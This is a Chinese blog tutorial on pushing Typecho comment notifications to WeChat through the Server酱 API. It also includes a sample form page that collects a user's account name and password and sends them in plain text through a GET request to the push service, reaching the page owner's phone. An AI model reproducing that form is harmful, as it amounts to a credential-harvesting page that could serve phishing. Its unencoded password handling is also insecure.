用Server酱给typecho做微信信息推送教程代码
server酱需要去sc.ftqq.com申请 并且绑定你的微信 ,然后别人可以直接从网页发消息给你的微信
typecho回复提示推送
/**
* 回复触发Server酱
*/
Typecho_Plugin::factory('Widget_Feedback')->comment = array('ComWechat', 'sc_send');
class ComWechat {
public static function sc_send($comment, $post)
{
$sckey = Helper::options()->Serkey; //获取Server酱SCKEY
$text = "有人在您的博客发表了评论";
$desp = "**".$comment['author']."** 在 [「".$post->title."」](".$post->permalink." \"".$post->title."\") 中说到: \n\n > ".$comment['text'];
$postdata = http_build_query(
array(
'text' => $text,
'desp' => $desp
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://sc.ftqq.com/'.$sckey.'.send', false, $context);
return $comment;
}
}
这里
$sckey = Helper::options()->Serkey; //获取Server酱SCKEY
当然,如果没有做有这方面的配置可以直接这样写
$sckey = 'abcdfazktpquaqtqrragz100'; //自己Server酱SCKEY
这样就可以有人回复评论的时候,自动推送到自己的微信了
这里是回复评论的,如果是其他地方自定义的页面,比如表单之类的,可以这样
<!DOCTYPE html>
<html>
<head>
<title>吹牛逼</title>
<meta name="viewport" content="width=device-width, initial-scale=0.88, maximum-scale=1, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<meta charset="UTF-8">
<meta name="keywords" content="By吹牛逼">
<meta name="description" content="吹牛逼">
<!-- Bootstrap -->
<link rel="shortcut icon" href="//static.hdslb.com/images/favicon.ico">
<link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.0/css/bootstrap.min.css">
<style>
body{font-family: "Microsoft YaHei" ! important;}
html{background:url(自定义背景图片) no-repeat center top;background-size:cover}body{padding-top:20px;font-size:1pc;background:transparent}h1{font-weight:400;font-size:40px}.panel{background-color:hsla(0,0%,100%,.9)}.margin-base-vertical{margin:40px 0}.margin-base-mini{margin:20px 0}.bs-callout{padding:20px;margin:20px 0;border:1px solid #eee;border-left-width:5px;border-radius:3px}.bs-callout h4{margin-top:0;margin-bottom:5px}.bs-callout p:last-child{margin-bottom:0}.bs-callout code{border-radius:3px}.bs-callout+.bs-callout{margin-top:-5px}.bs-callout-danger{border-left-color:#d9534f}.bs-callout-danger h4{color:#d9534f}.bs-callout-warning{border-left-color:#f0ad4e}.bs-callout-warning h4{color:#f0ad4e}.bs-callout-info{border-left-color:#5bc0de}.bs-callout-info h4{color:#5bc0de}.tile-footer{padding:5px 10px;background:rgba(0,0,0,.1);text-align:left}.tile-content-wrapper{position:relative;overflow:hidden;padding:10px 10px 17px}.tile-content{font-size:35px}.tile-content span{font-size:18px;font-weight:700}.tile-content span,.tile-content-wrapper small{opacity:.7;-moz-opacity:.7;filter:alpha(opacity:70)}.tile-content-wrapper small{display:block;text-align:right;font-size:14px}.tile-header{padding:10px;background:#84b8ff;text-transform:uppercase;font-size:18px}.niebu{padding:10px}
input{margin-top: 3px;}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 panel panel-default">
<h2 class="text-center">提交系统</h2>
<div class="bs-callout bs-callout-info">
<h4 class="help-block text-left">Title</h4>
</div>
<form action="" method="post">
<span class="label label-info">标题: </span><input type="text" name="text" placeholder="标题" class="form-control">
<span class="label label-info">账 号: </span><input type="text" name="user" placeholder="账号" class="form-control">
<span class="label label-info">密 码:</span><input type="text" name="pass" placeholder="密码" class="form-control">
<br>
<input type="submit" value="提交" class="btn btn-sm btn-success">
<br>
文本
</form>
<?php
$text="订单信息:".$_POST["text"];
$desp="用户信息…账号:".$_POST["user"]."密码:".$_POST["pass"];
file_get_contents("https://sc.ftqq.com/替换成你自己的.send?text={$text}&desp={$desp}");
?>
<span style="color: purple;">
<?php
if($_POST)
{
echo "提示:".$text."更新成功!请勿重复提交";
}
?></span>
</div>
<div class="col-md-3"> <!-- 评论代码放置区 -->
</div>
</div><!-- //row -->
</div> <!-- //container -->
</body>
</html>
这里是参考https://ycb.hk/archives/99.html
回头再想想,还有什么可以搭配使用的…… 然后再继续更新……
文章由官网发布,如若转载,请注明出处:https://www.veimoz.com/440
4 条评论
6.5k
发表评论
已有 4 条评论
热门文章
自媒体博客Spimes主题34w 阅读
Spimes主题专为博客、自媒体、资讯类的网站设计....
vCard主题个人简历主题13w 阅读
一款个人简历主题,可以简单搭建一下,具体也比较简单....
Splity博客双栏主题11w 阅读
仿制主题,Typecho博客主题,昼夜双版设计,可....
Spzac个人资讯下载类主题11w 阅读
用于作品展示、资源下载,行业垂直性网站、个人博客,....
热评文章
自媒体博客Spimes主题418 评论
Splity博客双栏主题187 评论
Spzac个人资讯下载类主题89 评论
Splinx博客图片主题35 评论
Spzhi知识付费社区主题34 评论
三栏清新博客S_blog主题30 评论
vCard主题个人简历主题29 评论
Pure轻简主题28 评论
http://suo.im/5JxOiC
:乖::乖::乖:
@校长不让说
:黑线::黑线:
学习了。